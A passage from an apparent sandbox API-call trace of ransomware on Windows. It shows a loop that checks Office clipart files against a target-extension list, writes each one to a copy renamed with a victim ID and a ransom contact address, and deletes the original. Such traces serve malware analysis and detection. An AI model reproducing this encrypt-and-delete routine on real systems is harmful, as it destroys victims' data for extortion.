lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.747] lstrlenW (lpString=".7z") returned 3 [0274.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.747] lstrlenW (lpString=".dbf") returned 4 [0274.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.747] lstrlenW (lpString=".1cd") returned 4 [0274.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.747] lstrlenW (lpString=".jpg") returned 4 [0274.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.748] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.748] lstrlenW (lpString="HH01242_.WMF") returned 12 [0274.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.857] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=7340) returned 1 [0274.857] CloseHandle (hObject=0x2f0) returned 1 [0274.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0274.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.857] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.857] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.858] GetLastError () returned 0x0 [0274.858] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x1cac, lpOverlapped=0x0) returned 1 [0274.859] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0274.860] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.860] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.860] SetEndOfFile (hFile=0x2e0) returned 1 [0274.860] CloseHandle (hObject=0x2e0) returned 1 [0274.860] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.860] SetEndOfFile (hFile=0x2f0) returned 1 [0274.862] CloseHandle (hObject=0x2f0) returned 1 [0274.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0274.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.863] lstrlenW (lpString=".doc") returned 4 [0274.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.863] lstrlenW (lpString=".docx") returned 5 [0274.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.863] lstrlenW (lpString=".pdf") returned 4 [0274.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.863] lstrlenW (lpString=".xls") returned 4 [0274.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.863] lstrlenW (lpString=".xlsx") returned 5 [0274.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.863] lstrlenW (lpString=".ppt") returned 4 [0274.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.863] lstrlenW (lpString=".zip") returned 4 [0274.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.863] lstrlenW (lpString=".rar") returned 4 [0274.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.863] lstrlenW (lpString=".bz2") returned 4 [0274.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.863] lstrlenW (lpString=".7z") returned 3 [0274.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.863] lstrlenW (lpString=".dbf") returned 4 [0274.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.863] lstrlenW (lpString=".1cd") returned 4 [0274.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.864] lstrlenW (lpString=".jpg") returned 4 [0274.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.864] lstrlenW (lpString=".doc") returned 4 [0274.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.864] lstrlenW (lpString=".docx") returned 5 [0274.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.864] lstrlenW (lpString=".pdf") returned 4 [0274.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.864] lstrlenW (lpString=".xls") returned 4 [0274.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.864] lstrlenW (lpString=".xlsx") returned 5 [0274.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.864] lstrlenW (lpString=".ppt") returned 4 [0274.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.864] lstrlenW (lpString=".zip") returned 4 [0274.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.864] lstrlenW (lpString=".rar") returned 4 [0274.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.864] lstrlenW (lpString=".bz2") returned 4 [0274.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.864] lstrlenW (lpString=".7z") returned 3 [0274.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.864] lstrlenW (lpString=".dbf") returned 4 [0274.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.864] lstrlenW (lpString=".1cd") returned 4 [0274.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0274.865] lstrlenW (lpString=".jpg") returned 4 [0274.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.865] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.865] lstrlenW (lpString="HH01618_.WMF") returned 12 [0274.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.865] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=7296) returned 1 [0274.865] CloseHandle (hObject=0x2f0) returned 1 [0274.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0274.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.865] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.865] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.866] GetLastError () returned 0x0 [0274.866] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x1c80, lpOverlapped=0x0) returned 1 [0274.867] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0274.868] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.868] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.868] SetEndOfFile (hFile=0x2e0) returned 1 [0274.868] CloseHandle (hObject=0x2e0) returned 1 [0274.868] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.868] SetEndOfFile (hFile=0x2f0) returned 1 [0274.870] CloseHandle (hObject=0x2f0) returned 1 [0274.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0274.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.871] lstrlenW (lpString=".doc") returned 4 [0274.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.871] lstrlenW (lpString=".docx") returned 5 [0274.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.871] lstrlenW (lpString=".pdf") returned 4 [0274.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.871] lstrlenW (lpString=".xls") returned 4 [0274.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.871] lstrlenW (lpString=".xlsx") returned 5 [0274.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.871] lstrlenW (lpString=".ppt") returned 4 [0274.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.871] lstrlenW (lpString=".zip") returned 4 [0274.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.871] lstrlenW (lpString=".rar") returned 4 [0274.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.871] lstrlenW (lpString=".bz2") returned 4 [0274.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.872] lstrlenW (lpString=".7z") returned 3 [0274.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.872] lstrlenW (lpString=".dbf") returned 4 [0274.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.872] lstrlenW (lpString=".1cd") returned 4 [0274.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.872] lstrlenW (lpString=".jpg") returned 4 [0274.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.872] lstrlenW (lpString=".doc") returned 4 [0274.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.872] lstrlenW (lpString=".docx") returned 5 [0274.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.872] lstrlenW (lpString=".pdf") returned 4 [0274.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.872] lstrlenW (lpString=".xls") returned 4 [0274.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.872] lstrlenW (lpString=".xlsx") returned 5 [0274.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.872] lstrlenW (lpString=".ppt") returned 4 [0274.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.872] lstrlenW (lpString=".zip") returned 4 [0274.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.872] lstrlenW (lpString=".rar") returned 4 [0274.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.873] lstrlenW (lpString=".bz2") returned 4 [0274.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.873] lstrlenW (lpString=".7z") returned 3 [0274.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.873] lstrlenW (lpString=".dbf") returned 4 [0274.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.873] lstrlenW (lpString=".1cd") returned 4 [0274.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0274.873] lstrlenW (lpString=".jpg") returned 4 [0274.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.873] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.873] lstrlenW (lpString="HH01759_.WMF") returned 12 [0274.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.874] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=5414) returned 1 [0274.874] CloseHandle (hObject=0x2f0) returned 1 [0274.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0274.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.874] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.874] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.875] GetLastError () returned 0x0 [0274.875] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x1526, lpOverlapped=0x0) returned 1 [0274.877] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x1530, lpOverlapped=0x0) returned 1 [0274.878] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.878] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.878] SetEndOfFile (hFile=0x2e0) returned 1 [0274.878] CloseHandle (hObject=0x2e0) returned 1 [0274.878] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.878] SetEndOfFile (hFile=0x2f0) returned 1 [0274.880] CloseHandle (hObject=0x2f0) returned 1 [0274.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0274.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.881] lstrlenW (lpString=".doc") returned 4 [0274.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.881] lstrlenW (lpString=".docx") returned 5 [0274.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.881] lstrlenW (lpString=".pdf") returned 4 [0274.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.881] lstrlenW (lpString=".xls") returned 4 [0274.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.881] lstrlenW (lpString=".xlsx") returned 5 [0274.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.881] lstrlenW (lpString=".ppt") returned 4 [0274.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.881] lstrlenW (lpString=".zip") returned 4 [0274.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.881] lstrlenW (lpString=".rar") returned 4 [0274.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.881] lstrlenW (lpString=".bz2") returned 4 [0274.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.881] lstrlenW (lpString=".7z") returned 3 [0274.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.881] lstrlenW (lpString=".dbf") returned 4 [0274.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.881] lstrlenW (lpString=".1cd") returned 4 [0274.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.882] lstrlenW (lpString=".jpg") returned 4 [0274.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.882] lstrlenW (lpString=".doc") returned 4 [0274.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.882] lstrlenW (lpString=".docx") returned 5 [0274.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.882] lstrlenW (lpString=".pdf") returned 4 [0274.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.882] lstrlenW (lpString=".xls") returned 4 [0274.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.882] lstrlenW (lpString=".xlsx") returned 5 [0274.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.882] lstrlenW (lpString=".ppt") returned 4 [0274.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.882] lstrlenW (lpString=".zip") returned 4 [0274.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.882] lstrlenW (lpString=".rar") returned 4 [0274.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.882] lstrlenW (lpString=".bz2") returned 4 [0274.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.882] lstrlenW (lpString=".7z") returned 3 [0274.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.882] lstrlenW (lpString=".dbf") returned 4 [0274.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0274.882] lstrlenW (lpString=".1cd") returned 4 [0274.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.882] lstrlenW (lpString="C:\\Program Files\\Microsoft 